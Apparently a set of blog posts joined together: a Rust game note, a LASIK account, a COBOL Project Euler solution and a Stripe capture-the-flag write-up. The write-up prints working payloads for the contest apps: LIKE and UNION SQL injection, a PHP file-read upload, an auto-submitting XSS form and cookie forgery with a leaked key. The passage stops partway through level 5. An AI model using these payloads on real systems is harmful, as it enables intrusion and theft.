An “action” is an object implementing the Action trait, which is generally executed immediately by the game world. (Having the world execute the action rather than the actor makes my life a little easier: if the actor dies partway through, for example, cleaning it up is simpler. And of course I’d rather not have the game state advance while the UI object has control.)

Alas, I didn’t get far enough to actually try building a component system, and in fact the player and AI thinking are crammed into the same function. But I’m moderately happy with what I have so far.

So

So.

Rust is neat. I enjoy using it, minor toe-stubs aside. The developers are active, clever, responsive, and helpful. And they pass the ultimate litmus test for a new language, in that they have been removing features more than they’ve been adding new ones lately. :)

I also like how the game came out, as simple as it is. It’s a side project among side projects for me, so I don’t know how much attention it’ll get in the future, but I think I have some neat ideas for a roguelike and I’d like to see it develop into something mature and enjoyable. Maybe I’ll go into it in another post.

If you want to play clio, you’ll have to compile amulet, then compile clio using rustc clio.rc -L /path/to/amulet.git/amulet/. But you’re really, really not missing a lot.

Mel had it done last December and started dropping hints that I should also get it done pretty much that day. I stalled and dawdled forever, but I’ve been experiencing a lot of eye strain lately and was due for an eye exam anyway, so I finally made an appointment for Wednesday.

Not that Mel was continually bugging me to do it or anything, but when faced with the prospect of doing something terrifying, spinning it to myself as something someone else wants doing is a convenient brain hack.

Yes, terrifying. You see, I don’t like things i my eyes. I don’t like water in my eyes. I had never opened my eyes underwater until a couple months ago, and it still feels like a superpower to me. If I get an eyelash in my eye, I have to find a mirror and manually guide it out because it bugs me so much. And now I was facing a medical procedure that involved shining a laser into my eyes. A laser! You know where you’re supposed to shine a laser? Anywhere except into your eyes.

Everyone at the clinic told me reassuring things, like that it’s a cold laser, or it doesn’t hurt, or it’s over pretty fast, or whatever. No, no, you don’t understand. It’s not that I don’t like things in my eyes because some rational underlying fear. I just don’t like things in my eyes, the same way I don’t like sharp things under my fingernails, or I don’t like spiders. I don’t like it. It’s creepy and I want to run away from whatever it causing it.

Okay, this story seems to have gotten a little off-track. Let’s rewind.

Exam

The exam was more thorough than any I’d had before and relied relatively little on charts—which was reassuring. It mostly involved a variety of chin-and-headrest eye scope machines that, I guess, measured stuff. The coolest one showed a very blurry graphic of a hot-air balloon sitting on the ground against a plain background: the machine made machiney “I am worth every penny” noises ending with a decisive clunk, and the graphic instantly became crisp. It was just like digital camera autofocus, except backwards. I have no idea how it worked but I hope it actually measured the image reflected on my eye or something.

I discovered my dominant eye is my left. I don’t know if this has any real implications, but it’s interesting nonetheless. I’d forgotten that eye dominance was even a thing.

The worst part by far was a moisture test, because this involved getting some numbing eyedrops (ugh) and then having little paper things left resting against my eye under my eyelid (UGH).

I’d been under the impression that my eyes were worsening gradually, because my second pair of glasses had been stronger than my first, and lately I’d felt like my eyes were starting to get tired more easily and thus that I needed stronger glasses again. So my primary concern about getting lasik was that I’d just need to go back to glasses after a couple years, in which case, what the hell was the point. But it seems my prescription now is exactly the same as my glasses, and the doctor conjectured that my eyes hadn’t actually worsened, but that the two prescriptions had been written differently because I went to two different doctors. Okay, I can buy that, cool.

My new theory is that I just naturally get eye strain because both eyes have different astigmatism (are different astigmatists?), and glasses can’t correct for that very easily, so everything always looks slightly distorted and I’m continuously trying to refocus. Or not. I don’t know, I pulled that out of my ass and neglected to actually ask anyone whether it’s remotely plausible.

I was told I am an excellent candidate and have really thick corneas (ladies), and was given a calendar for scheduling.

I’m out of town the last week of October, and when Mel had it done they were booked pretty solid, so I expected to be able to put this off until at least mid-November. I looked at the calendar, checked the date, looked at the calendar again. Friday and Saturday of that same week were available. And I couldn’t do it any later than Saturday since I’d be on a plane days later.

I booked Saturday and reflected on this plot twist, in which I had been tricked out of a month of expected mulling and into directly agreeing instead, like I’m an adult or something.

Eye lasers

The sense of mild panic started the night before and grew gradually through Saturday morning.

I got there, signed some things, paid them, discovered my debit card won’t let me charge more than $2500 or so at a time.

I had to put on a hairnet and some shoe covers to enter the Laser Room. They had a last look in my eyes and told me how this would go. I was already more or less familiar with the process—the laser room had huge windows along one side with a waiting room beyond, so your loved ones can watch your eyes get sliced open. Mel was watching me, as I had watched her last year.

First was several rounds of, of course, eyedrops. Also the doctor straight-up marked my eyeball with what smelled distinctly like a Sharpie™ to mark the angle of my astigmatisms. Then I lay down on a bed, holding a pair of heart-shaped stress balls they’d given me.

Let me explain how this works: lasik is the process of reshaping the cornea (the outer, clear coating in front of your iris and pupil) with a laser. But they don’t just shave off the outer surface; they cut a thin hinged ring in the outer cornea, peel that back, and do the actual correction on the middle layers. This is about as disgusting as it sounds.

So, the first half is to actually make this flap. Apparently this was originally done with a metal blade (!!!), but I had all-laser lasik, which involves using a different laser to make a layer of tiny bubbles within the cornea, which then naturally separate the top layer away to make the flap. It involves having a cylinder attached around the iris with suction to keep my eye open and steady. They told me I would feel “a little pressure”, but let me tell you, it felt more like my eyes were going to be sucked out into space. The actual laser wasn’t so bad; stare at a red dot, feel a little weird for like ten seconds, and then it’s done. My vision went dim and foggy for a bit, and they said the worst was over.

They were wrong.

Part two is the actual lasiking. A different bed, a different laser, a different thing under my eyelids to keep them open. (ugh) Everything was pretty blurry the entire time there, and the actual laser didn’t feel like anything. But the worst part was when the doctor peeled the flap back. Peeled. I couldn’t really feel what he was doing, but I realized here my mistake in having watched Mel’s operation last year: I’d seen this before. He was dragging a squeegee across my eye. I swear to god that is basically what it is. It was cool and wet and I imagined the sound it would make and it creeped the hell out of me. I swore I’d pop the stress balls.

Fiddling with the flap actually took longer than the lasering, which was all of seven seconds per eye. There was one little thing they didn’t tell me, which was that I could very briefly smell my eyeball being singed away. I think the laser technically “vaporizes” rather than burning, but ultimately that puts eyeball molecules in the air and some of them went up my nose and it was very distinct and very gross. I managed to not leap off the table and run screaming for the door, and then it was done.

I could immediately see better. Uncanny, really. The world was kind of foggy, like someone had turned the bloom up a little too high, but it was crisp and foggy. I don’t really know how to describe how “foggy” is distinct from “blurry” but the difference was extremely obvious.

One last glance in my eyes and one more set of eyedrops and I was done and could just walk out. I left my glasses in their donation bucket, in case someone else happens to have exactly my prescription.

Aftermath

I had to keep my eyes closed for 3–5 hours afterwards, so Mel drove us home. My eyes were kind of sore immediately afterwards, like I’d been awake for 72 hours and also dumped sand in them, and I grumbled about this until I dozed off in the car, and then again on the couch at home. (They recommend just taking a nap anyway. I wasn’t tired, but something about keeping your eyes closed for an hour has a way of putting you to sleep.)

I woke up some four hours later feeling much better, and it’s gradually gotten better since. I have antibacterial eyedrops I have to take four times a day, as well as artificial tears I have to use to keep my eyes from drying out every hour—which sounds like a lot, but honestly, my eyes dry out fast enough that I’m probably using them more frequently than that. I’m not thrilled about having to drip stuff in my eyes, but it feels so good.

I still have flaps healing on both eyes, so I can’t rub them or otherwise touch them at all, lest I totally fuck up my corneas. I even have some sweet shades to wear while I’m asleep.

Vision is absolutely serviceable. There’s a halo effect on light sources, like monitors, but that’s common and tends to go away after a few days—it’s already improved since yesterday. I think it’s caused by swelling while the cornea heals. It makes lots of text on a screen a little tedious to read in the meantime, though. Can’t really scan; have to read one line at a time. I can’t imagine doing any heavy programming like this and will probably take a sick day tomorrow if it hasn’t cleared up considerably.

As of right now, my eyes are still a touch sore when I blink, and I still sometimes feel like I have a grain of sand or something in one of them, but otherwise I’m fine. There is the minor side effect of having super ultra gross big red splotches on my sclerae—apparently these are “bruises” from the suction used while cutting the flap. I have a followup appointment tomorrow to make sure I’m not going blind or anything, and then another in several weeks, but I seem to be home free.

Thoughts

This was a really unnerving experience. If you’re considering lasik, you probably shouldn’t be reading this post. It’s over pretty quick, though.

They gave me some Valium to reduce anxiety. I was actually looking forward to that, because brain filters are endlessly fascinating, but as far as I could tell it didn’t help at all. I still felt pretty goddamn anxious the entire time. I’m just too much of a chicken, and even psychoactive drugs are no match for me. But I did it anyway, hey, so you have no excuse.

Little pricey—$3500—and was actually cheaper without insurance for <%= reason %>, but that money was either going towards better eyesight or a stack of thirteen Android tablets, so.

I asked the doctor whether it’s true that looking at screens for extended periods actually damages your eyes, and she confirmed that it is not. But it does tend to dry your eyes out, because you blink less. In fact, I’ve used fake tears twice while writing this post. Even more reason not to sit here for hours on end for the next day or two. 8)

I keep getting the urge to put my glasses on, of course. It’s very strange to not have them on, after four or so years of wearing them. I thought I looked better with slightly-nerdy glasses, too, so either someone needs to tell me I’m wrong or I need to find a new facial accessory. I don’t want to be one of Those People who wears neutral-lens glasses, though.

You know, I still don’t recall a specific moment where I actually decided to do this, which makes it just a tad surreal in retrospect.

So I spent much of last weekend trying to alleviate this, by dumping various todo files and the contents of my head and tabs that have been open for months and half of my Workflowy into issue trackers. I know, duh, but I always get out of the habit of using them, and then it seems like more effort to get back into the habit than to just jot down or remember one more thing. Maybe this time it’ll stick. I have far more brain to be dumped, but what’s left is generally more detailed planning that won’t come into focus until I sit down to seriously work on the corresponding project. The real test will be whether I keep filing tickets as they come to mind. And actually, like, assign them to myself. And do them! Whoa.

I’m also making an effort to make my code more accessible to anyone who wants to contribute to it; I’ve been using git and GitHub for ages and attracted a couple pull requests, but I’m pretty lax about even build documentation. I wrote a few READMEs to alleviate this, and will be writing some more as I touch repositories that lack them.

Oh, if you give half a crap about what I hack, I’ve thrown together a projects page listing some of the things I’ve started attempting to build. Or you could just look at my GitHub, really. Feel free to contribute, or tell me how I’m making it hard to contribute.

And I totally cut down on the number of distinct categories I was using for this blog, so when I start posting more than once a month, categories will be useful for sifting through posts!

Many moons ago, I started a ridiculous quest to solve every Project Euler problem, in order, with a different programming language. I called it “heteroglot”.

Partway through that, I gave myself the additional unwritten rule that the next language would be selected by polling the nearest group of nerds. This has resulted in math problems solved in such wildly inappropriate languages as vimscript, MUMPS, LOLcode, and XSLT.

It’s been a while since I did one of these, but I still remember that the next language I’m stuck using is COBOL. I don’t know who suggested it, but I hope he chokes on a rake. ♥

I figure if this is interesting to me, it might be interesting to someone else. So let’s learn some math and/or COBOL.

The math

Problem 15:

Starting in the top left corner of a 2×2 grid, there are 6 routes (without backtracking) to the bottom right corner.

How many routes are there through a 20×20 grid?

There are two approaches to solving this: actually count every path, or invent a formula. I’d like to spend as little time with COBOL as possible today, so let’s try the latter approach.

So, find a pattern.

• In the trivial case (0×0), there’s only 1 path.
• For 1×1, there are 2 paths: effectively clockwise and counter-clockwise.
• The problem already states that 2×2 has 6 paths.

Now, wait. Before considering 3×3, bear in mind: nothing about this problem requires that the grid be square. Think of some other small sizes:

• 0×1 and 0×2 also have only one path. Naturally, any grid with either dimension of 0 will have only one possible path, because it’s a straight line.

• 1×2 has 3 paths: clockwise, counter-clockwise, and through the middle in an S shape.

    @@@@    @--+    @--+
    ¦  @    @  ¦    @  ¦
    +--@    @--+    @@@@
    ¦  @    @  ¦    ¦  @
    +--@    @@@@    +--@
  

• Consider 1×3. It has four horizontal grid lines, making for 4 possible paths: one for each horizontal line.

    @@@@    @--+    @--+    @--+
    ¦  @    @  ¦    @  ¦    @  ¦
    +--@    @@@@    @--+    @--+
    ¦  @    ¦  @    @  ¦    @  ¦
    +--@    +--@    @@@@    @--+
    ¦  @    ¦  @    ¦  @    @  ¦
    +--@    +--@    +--@    @@@@
  

Has a pattern emerged?

· | 0   1   2   3
--+--------------
0 | 1   1   1   1
1 | 1   2   3   4
2 | 1   3   6
3 | 1   4

Oh ho ho. Yes, yes it has. Tilt that table diagonally.

        1
      1   1
    1   2   1
  1   3   3   1
1   4   6   4   1

This is Pascal’s Triangle.

In retrospect, this makes perfect sense. Consider the 3×3 grid. Starting from the top left, there are only two possible directions to go: right, or down. If you go right, you can only follow the possible paths for a 2×3 grid. If you go down, you can only follow the possible paths for a 3×2 grid. And none of them can overlap, because you started differently.

+--+--+--+      @@@@--+--+    @
¦  ¦  ¦  ¦         ¦  ¦  ¦    @
+--+--+--+         +--+--+    @--+--+--+
¦  ¦  ¦  ¦  =>     ¦  ¦  ¦    ¦  ¦  ¦  ¦
+--+--+--+         +--+--+    +--+--+--+
¦  ¦  ¦  ¦         ¦  ¦  ¦    ¦  ¦  ¦  ¦
+--+--+--+         +--+--+    +--+--+--+

So in the table, any given number is the sum of the number immediately to its left and immediately above it: the two solutions for the same-size grid with one fewer row or one fewer column. That’s exactly how Pascal’s Triangle is created.

In the nth row of the triangle, the number at offset r (both counting from zero) is given by nCr(n, r). All I need now is to convert a grid size a×b to a row in the triangle. Each triangle row is a diagonal of the original table, so you get the row number from a + b, and the offset is either a or b. The answer is then nCr(a + b, a).

Check against what I know: 1×1 is nCr(2, 1) = 2, 2×2 is nCr(4, 2) = 6. 0-by-anything is 1. Lookin good.

From here I could just figure it out with a calculator, but that’s cheating. Time to find a COBOL compiler.

The code

I’m on Arch, and the first thing I found was OpenCOBOL, on the AUR, so I’m installing this bad boy. Your results may vary, if for some reason you’re following along.

eevee@perushian ~ ⚘ sudo packer -S open-cobol

Now I need to learn some COBOL. OpenCOBOL’s site helpfully links this OpenCOBOL Programmer’s Guide. Let’s see what I have here.

1.3.1. “I Heard COBOL is a Dead Language!” Phoenician is a dead language. Mayan is a dead language. Latin is a dead language. What makes these languages dead is the fact that no one speaks them anymore. COBOL is NOT a dead language, and despite pontifications that come down to us from the ivory towers of academia, it isn’t even on life support.

As more and more people became at least informed about programming if not downright skilled, the syntax of COBOL became one of the reasons the ivory-tower types wanted to see it eradicated.

My archaeological adventure is off to a fantastic start.

Right, well, step two: what the hell does a program look like? I am dimly away that COBOL has a lot of wordy setup and DIVISIONs of code or data or something. Section 2 starts to explain this setup. The only required part of a COBOL program appears to be PROGRAM-ID. {program-name}, but that won’t actually do anything. So I think I’ll actually need something more like this:

IDENTIFICATION DIVISION.
PROGRAM-ID. project-euler-15

DATA DIVISION.
// something to specify 20 by 20

PROCEDURE DIVISION.
// make it go

END PROGRAM project-euler-15.

That last part isn’t actually necessary if I’m only building one file, but I like the feeling of talking to a computer with no prepositions or particles. Reminds me a little of Robotic.

At this point I like to stick my no-op program in a file and compile it, just to make sure I have something valid (and also to figure out how to compile). Here I discover several things.

• COBOL source is .cob. Or .cbl, but that’s not as funny.
• vim has built-in COBOL syntax highlighting.
• Because “indented block” is nonsense in COBOL, the shift operators (< and >) do nothing. (The above block was indented, because my blog is all Markdown, and I had to outdent it manually.)
• Everything about the code above is wrong. Everything. Every single character is syntax colored as an error.

I’m having flashbacks to MUMPS already.

Let’s continue reading. In §1.5, “Source Program Format”, it is revealed that the compiler can run in two modes: fixed (the default) and free. Fixed mode uses “traditional” 80-column formatting. This rings some faint bells: COBOL is all about the columns. What column does code need to start in? Fuck if I know. I can’t find anywhere in the documentation for this compiler that actually explains how fixed mode works.

Back to the website, and I find that the online User Manual is not very thorough but does contain an example hello world program, which explicitly states that program lines must start in column 8.

And, indeed, indenting everything by 7 spaces makes vim happy. Now I have:

1
2
3
4
5
6
7
8
9
10

   IDENTIFICATION DIVISION.
   PROGRAM-ID. project-euler-15

   DATA DIVISION.
  * something to specify 20 by 20

   PROCEDURE DIVISION.
  * make it go

   END PROGRAM project-euler-15.

Haha, and people complain that Python has significant whitespace. You assholes. Guess what I’m linking you next time I hear that.

At last, time to try running this thing. The hello world program comes with super simple instructions for that, too.

⚘ cobc -x 015.cob
⚘ ./015

Success! Nothing happened.

Do a thing

First is the seed data, which here is just the size of the grid: 20×20. I’m gonna go out on a limb here and guess that data goes in the DATA DIVISION. This handy programmer guide has a page-sized diagram of the syntax for defining data and many more pages of the clusterfuck that is record syntax, but luckily there’s a much simpler way to define constants:

1

78 foo VALUE IS bar.

The 78 is a “level”, an ancient incantation used to specify just how deep in the hierarchy a datum is. In this case 78 happens to be a special level used only for constants.

Before trying to run this again, it’d be helpful to print out the constants and make sure I’ve actually defined them correctly. This is done with DISPLAY. (The same statement, inexplicably, also inspects command-like arguments and gets/sets environment variables. What.)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

   IDENTIFICATION DIVISION.
   PROGRAM-ID. project-euler-15


   DATA DIVISION.
   WORKING-STORAGE SECTION.

  * grid size: 20 x 20
   78 width VALUE IS 20.
   78 height VALUE IS 20.


   PROCEDURE DIVISION.

   DISPLAY width
       UPON CONSOLE
   DISPLAY height
       UPON CONSOLE


   END PROGRAM project-euler-15.

The UPON CONSOLE is entirely optional but it looks like I’m hacking a mainframe so I’m including it anyway.

And, whoops, this totally doesn’t work. Unsurprisingly, the PROCEDURE DIVISION needs code to be in… procedures. I had to give up and just look at the same programs here, but the short version is, do this:

1
2
3
4
5
6
7

   PROCEDURE DIVISION.
   do-the-needful.
       DISPLAY width
           UPON CONSOLE
       DISPLAY height
           UPON CONSOLE
       .

Compile, run, and get 20 twice. Off to a fabulous start.

Just need the math.

A flip through the list of statements finds me PERFORM, which both calls procedures and acts like a loop. I might as well make this a real program, so let’s do both and write a real function. Sorry, procedure.

I want to implement nCr(). I need a numerator and denominator accumulator, a loop of r times, and some multiplication. Seems easy enough.

The first stumbling block is, er, creating variables. There’s nothing to do that. They all go in the DATA DIVISION. All of them. In this case I want a LOCAL-STORAGE section, which is re-initialized for every procedure—that means it should act like a local.

I want a loop variable, a numerator, a denominator, and two arguments.

Arguments.

Hmmmm.

It is at this point that I begin to realize that COBOL procedures do not take arguments or have return values. Everything appears to be done with globals.

There’s a CALL statement, but it calls subprograms—that is, a whole other IDENTIFICATION DIVISION and everything. And even that uses globals. Also it thinks BY VALUE for passing means to pass a pointer address, and passing literals BY REFERENCE allows the callee to mutate that literal anywhere else it appears in the program, and various other bizarre semantics.

Let’s, um, just go with the globals. Some fumbling produces:

1
2
3
4
5
6
7
8
9

   n-choose-r.
       MOVE 1 TO numerator
       MOVE 1 TO denominator
       PERFORM VARYING i FROM 1 BY 1 UNTIL i > r
           MULTIPLY i BY denominator
           COMPUTE numerator = numerator * (n - i + 1)
       END-PERFORM
       COMPUTE n-choose-r-result = numerator / denominator
       .

A note on assignment in COBOL: there isn’t any. Instead, there are several different statements for different kinds of assigning. ADD, SUBTRACT, MULTIPLY, and DIVIDE all divide a variable or a literal (but not an expression!) into a variable and store the result into that variable. MOVE stores a variable or a literal (but, again, not an expression) into a variable. COMPUTE stores an arbitrary expression into a variable. I assume COMPUTE, um, came later.

Anyway, the idea here would be that you store the arguments into the n and r globals, PERFORM this procedure or paragraph or whatever, then get your result out of the n-choose-r-result global. The globals are in the DATA DIVISION like this:

1
2
3
4
5
6
7
8
9

   LOCAL-STORAGE SECTION.

  * used by n-choose-r
   01 i                            USAGE IS UNSIGNED-LONG.
   01 n                            USAGE IS UNSIGNED-LONG.
   01 r                            USAGE IS UNSIGNED-LONG.
   01 numerator                    USAGE IS UNSIGNED-LONG.
   01 denominator                  USAGE IS UNSIGNED-LONG.
   01 n-choose-r-result            USAGE IS UNSIGNED-LONG.

(UNSIGNED-LONG is a 64-bit unsigned machine integer, the biggest machine number COBOL appears to have.)

Compile it, run it, and the answer is… 6.

Hmmm.

A little DISPLAYing reveals that the numerator and denominator print as 688017186506670080 and 432902008176640000, respectively. It looks like 64 bits is not enough, and I’m overflowing. Oops.

Well. I could set out to see if COBOL does bignums or if the whole PIC thing supports arbitrary precision, but I’m scared to think what I might find. Instead, let’s do some more math.

Consider that nCr(n, r) for any nonnegative integers n and r is always, itself, an integer. (This isn’t too hard to prove informally, but just accepting it is enough.) So I know:

nCr(n, 1) = n / 1
nCr(n, 2) = n * (n - 1) / (2 * 1)
          = n / 1 * (n - 1) / 2
nCr(n, 3) = n * (n - 1) * (n - 2) / (3 * 2 * 1)
          = n / 1 * (n - 1) / 2 * (n - 2) / 3

I can take advantage of this to minimize the intermediate results without ever worrying about floating-point. (Does COBOL support floating-point? Christ, I don’t want to know.)

1
2
3
4
5
6
7

   n-choose-r.
       MOVE 1 TO n-choose-r-result
       PERFORM VARYING i FROM 1 BY 1 UNTIL i > r
           COMPUTE n-choose-r-result =
               n-choose-r-result * (n - i + 1) / i
       END-PERFORM
       .

This produces the answer: 000000137846528820.

Er… eh, close enough. And the internets suggest it may not really be possible to avoid the leading zeroes.

Throw it at Euler and, indeed, this is correct. Phew. Done! The final program is 015.cob.

Impression

COBOL is even more of a lumbering beast than I’d imagined; everything is global, “procedures” are barely a level above goto, and the bare metal shows through in crazy places like the possibility of changing the value of a literal (what).

On the other hand, I can see how the design maps pretty naturally to bare metal, and the alternatives at the time were Fortran and ALGOL. Ada didn’t exist. C didn’t exist. Hell, B didn’t exist. The original Lisp paper had only just been published! In that light, COBOL is a reasonably impressive piece of work, which I will never use again if I can possibly avoid it.

One thing that slightly bewilders me is how COBOL came to both have so many ways to do the same thing, yet also so heavily reuse some keywords. DISPLAY both prints stuff out and messes with environment variables. PERFORM both calls a procedure and performs a loop. Or calls a procedure in a loop. And it has some pretty complex syntax for determining when the loop ends and how many times it runs and whether there’s an incrementor. It even has syntax explicitly designed for doing nested loops without actually having to nest loops. What?

As a closing note, consider: just like MUMPS, second-hand experience tells me that there are still big high-level government/financial COBOL applications probably handling your money. Sleep well.

More choice quotes about COBOL

I can’t resist. This programmer’s guide is amazing. I know COBOL is ass-old, but this guide was published in 2009!

On endianness.

All CPUs are capable of “understanding” big-endian format, which makes it the “most-compatible” form of binary storage across computer systems.

Some CPUs – such as the Intel/AMD i386/x64 architecture processors such as those used in most Windows PCs – prefer to process binary data stored in a little-endian format. Since that format is more efficient on those systems, it is referred to as the “native” binary format.

On working with libraries.

Today’s current programming languages have a statement (usually, this statement is named “include” or “#include”) that performs this same function. What makes the COBOL copybook feature different than the “include” facility in current languages, however, is the fact that the COBOL COPY statement can edit the imported source code as it is being copied. This capability enables copybook libraries extremely valuable to making code reusable.

On whitespace.

A comma character (“,”) or a semicolon (“;”) may be inserted into an OpenCOBOL program to improve readability at any spot where white space would be legal (except, of course, within alphanumeric literals). These characters are always optional. COBOL standards require that commas be followed by at least one space, when they’re used. Many modern COBOL compilers (OpenCOBOL included) relax this rule, allowing the space to be omitted in most instances. This can cause “confusion” to the compiler if the DECIMAL POINT IS COMMA clause is used (see section 4.1.4).

On the DISPLAY statement.

The specified mnemonic-name must be CONSOLE, CRT, PRINTER or any user-defined mnemonic name associated with one of these devices within the SPECIAL-NAMES paragraph (see section 4.1.4). All such mnemonics specify the same destination – the shell (UNIX) or console (Windows) window from which the program was run.

Next up

I suppose I’m obliged to try using the first language someone suggests in the comments. You can see what’s been used so far by browsing the existing solutions. The rules therein may also be of interest.

I haven’t reproduced the entirety of each puzzle below, because that would suck, but if you’re lucky maybe you can still sign up and follow along. If not, Stripe has promised to release the puzzles (and solutions) tomorrow. I think.

Level 0: Secret Safe

This one was written in JavaScript and implemented really simple security-by-obscurity storage: you provide a namespace, and it either stores data for you under some key or tells you all keys and data stored under that namespace.

This was the intro level, so the solution was pretty obvious, but actually less obvious than I expected for a level called “0”. The offending line is:

1

    var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';

The key is actually stored as namespace.key. So the “exploit” is just to enter % as the namespace, and voilà, every secret is revealed. The db doesn’t know the difference between a % in your literal query and a % in your bound parameter, so any key containing a period (i.e., all of them) is selected. I suppose you’d call this LIKE injection.

It’s not vanilla SQL injection, but it relies on the same principle as all injections: dropping arbitrary data blindly into a structured format.

Level 1: Guessing Game

PHP this time, and a similar idea, really. Enter the password, receive the data, which is stored in a file.

This one relied on recognizing a hilariously awful standard PHP function:

1
2

      $filename = 'secret-combination.txt';
      extract($_GET);

extract() takes all the keys of a hash and dumps them into your local namespace, as variables. The line above implements the infamous register_globals.

That’s just a low blow, Stripe. :)

Solution, then, is to use a query string of ?attempt=&filename=junk. The file won’t exist, PHP will cheerfully read it and return something falsey, and that’ll compare equal to the empty string.

The vulnerability here is called “PHP”. Yeah, whatever, PHP runs Facebook, I don’t care, go away.

Level 2: Social Network

PHP again. Now we’re getting into exploits I have, tragically, actually seen in the wild. The password is still stored in a file (that cannot be read directly), but now the only real entry point to the program is uploading an avatar.

So. Yeah.

1

<?php echo file_get_contents('../password.txt');

Upload that as your avatar and visit the URL. PHP injection.

Props to level 1 for reminding me that file_get_contents exists.

Level 3: Secret Vault

Level 2 was the last of the PHP puzzles. Now we’re getting serious. This one is a Flask app—i.e., Python.

This is a sequel to the Secret Safe, but it’s the same general idea, except that namespaces and keys have been replaced with genuine usernames and passwords.

A glance over the code, and something stands out:

1
2

    query = """SELECT id, password_hash, salt FROM users
               WHERE username = '{0}' LIMIT 1""".format(username)

This, then, is the obligatory SQL injection puzzle.

I am shamed to admit I took a few minutes on this—way longer than I should have. I tried to trick SQLite into running multiple statements here, or embedding an INSERT/UPDATE inside this SELECT. Those don’t work, which is good.

I didn’t get it until I rephrased the question as: how can I trick this query into retrieving data that’s not really from the users table?

Oh, right. New username:

' UNION SELECT (select id from users where username = 'bob'), '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae', '

Which produces the final query:

1
2
3
4

SELECT id, password_hash, salt FROM users WHERE username = ''
UNION
SELECT (select id from users where username = 'bob'), '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae', ''
LIMIT 1

There are no usernames of '', so the first SELECT doesn’t find anything. The second one pretends to be bob’s id, a constructed SHA1 hash, and an empty salt. Result is a single row that tricks the app into thinking my password of “foo” is correct.

Level 4: Karma Trader

A Ruby app, built on Sinatra. I can’t beat the original description:

The Karma Trader is the world’s best way to reward people for good deeds. You can sign up for an account, and start transferring karma to people who you think are doing good in the world. In order to ensure you’re transferring karma only to good people, transferring karma to a user will also reveal your password to him or her.

This should sound more ludicrous than it is, but I genuinely believe there are people in the world who would think this is a great idea.

The gimmick here is that an existing user, karma_fountain, has both unlimited karma and also the password to level 5 as his own password. To get it, obviously I need to make it look like he has give me karma.

This was hard. Because there’s a catch.

The database access all uses Sequel (a little db library) and bound params, so there’s no SQL injection. There are no silly oversights like extract. I can create as many users as I want, but I can only make them send karma to each other; I can’t make anything that looks like karma_fountain.

There are no obvious exploits. I can’t fake anything on the server.

I was going slightly crazy until I noticed some hints.

Perhaps you read Encyclopedia Brown books, or similar kid mysteries. I loved those. I started tearing through them once I noticed that most of the solutions revolved around some minor detail that received undue importance in the story, like just how many quarts of water were given to dogs before a race.

And so it was here. Quite a lot of code, relative to the size of this dinky app, is dedicated to updating and displaying a last_active timestamp. That’s utterly pointless; I’m the only one using this thing, and I know when I’ve been active.

But wait! From the app itself:

If you’re anything like karma_fountain, you’ll find yourself logging in every minute to see what new and exciting developments are afoot on the platform.

Below this is a list of all registered users, and their last-active timestamps.

karma_fountain did indeed have a very recent timestamp.

I refreshed the page.

The timestamp advanced by precisely one minute.

Brilliant.

That made the solution obvious: I created a new account with a password of:

<form id="x" method="post" action="transfer"><input type="hidden" name="to" value="eevee2"><input type="hidden" name="amount" value="100000"></form><script>document.getElementById('x').submit();</script>

Then I sent karma_fountain a single karma. One minute later, the bot hit the page again, dutifully executed my XSS, and sent me ten thousand karma and the next password.

(The bot is still going; as of this writing i have 60000499 karma.)

Level 5: Domain Authenticator

Ruby and Sinatra again. The app implements a federated identity system: you provide a username, password, and URL. It posts your username and password to the URL, and if the response is AUTHENTICATED, it considers you as logged in. If you log in with a URL hosted on a level05-*.stripe-ctf.com machine, it’ll also tell you the password for level 6.

The trick, of course, is that nothing running on the machine actually implements this protocol, and in fact there is no implemented provided at all.

There is one more hint: the production app can only make requests to *.stripe-ctf.com machines, but someone “forgot” to firewall off the ports on the level 2 machines. You know, those machines that let me upload and run any code I want. So, that’s nice.

This one was good. I actually didn’t really solve it. I found most of the solution, but then I accidentally tripped over something else that was even better.

My solution

I entered a URL with letters in the port. The app crashed and showed me a generic Rack error page, with debugging information.

Now, much like Flask, Rack (and thus Sinatra) handles sessions by default by serializing a hash, tacking on a signature, and storing the whole shebang in a cookie. The upside is that this doesn’t require any server-side setup or maintenance whatsoever. The downside is that this is fucking bozotic, because it let me do the following.

You see, the Rack debug page exposes the key used to sign session cookies.

With that, it wasn’t particularly difficult to construct a fake cookie that claimed I had already been authenticated by level05-2.stripe-ctf.com. (I actually ran into a bit of trouble here: I took the original cookie from Firefox, but tried to inject it in Chromium, which already had a cookie editor installed. It took me a few minutes to notice that Rack also tracks your user agent in your cookie, and ignores it if the cookie and browser don’t match. So, minor props there. Then I found out that Firebug can edit cookies; problem solved.)

@kevinlange later pointed out to me that this actually works for all three Rack puzzles: 4, 5, and 6. I believe he informed Stripe of the unintended exploit, and it was fixed the next day: errors now serve the generic Apache 500 page.

I wasn’t quite sure whether this was intentional or not; after all, it was a legitimate exploit, but it didn’t require mucking with level 2 at all. But I had access to level 6, so whatever.

The real solution

The username and password are, of course, an irrelevant distraction. There’s no list of usernames and passwords anywhere, so they can’t possibly matter.

The real puzzle here is tricking the app into thinking level05 has verified you. And since there’s only one thing running on level05, the puzzle is tricking the app into thinking it has verified you.

The first step is to try feeding the app to itself as the URL. That produces:

An unknown error occurred while requesting https://level05-2.stripe-ctf.com/user-abcdefghij/: 500 Internal Server Error

The app is calling itself, but the second call has no pingback URL, so it gets confused and dies. Hmm.

Lucky for me, the app examines params, which is a combined hash of both GET and POST data. So I can make it not crash, at least, by feeding it https://level05-2.stripe-ctf.com/user-vmscdesvlp/?pingback=www.google.com.

Remote server responded with: Host not allowed: www.google.com (allowed authentication hosts are /\.stripe-ctf\.com$/). Unable to authenticate as foo@level05-2.stripe-ctf.com.

A valiant start. I can keep this loop going as long as I please, but without an actual authentication somewhere, I won’t get very far. And that’s where the level 2 servers come in.

1

 AUTHENTICATED

I don’t know why they mentioned “high ports” not being firewalled off; the above is all you need. There’s already an HTTP server running, after all.

Upload this guy, try to authenticate as https://level02-2.stripe-ctf.com/user-zlbgqlkyoe/uploads/pingback.php, and I get:

Remote server responded with: AUTHENTICATED.  Authenticated as foo@level02-2.stripe-ctf.com!

Wrong server, but getting there.

This is actually as far as I got before accidentally breaking Rack, but the rest isn’t too difficult. The actual check for authentication uses the following regex:

1

      body =~ /[^\w]AUTHENTICATED[^\w]*$/

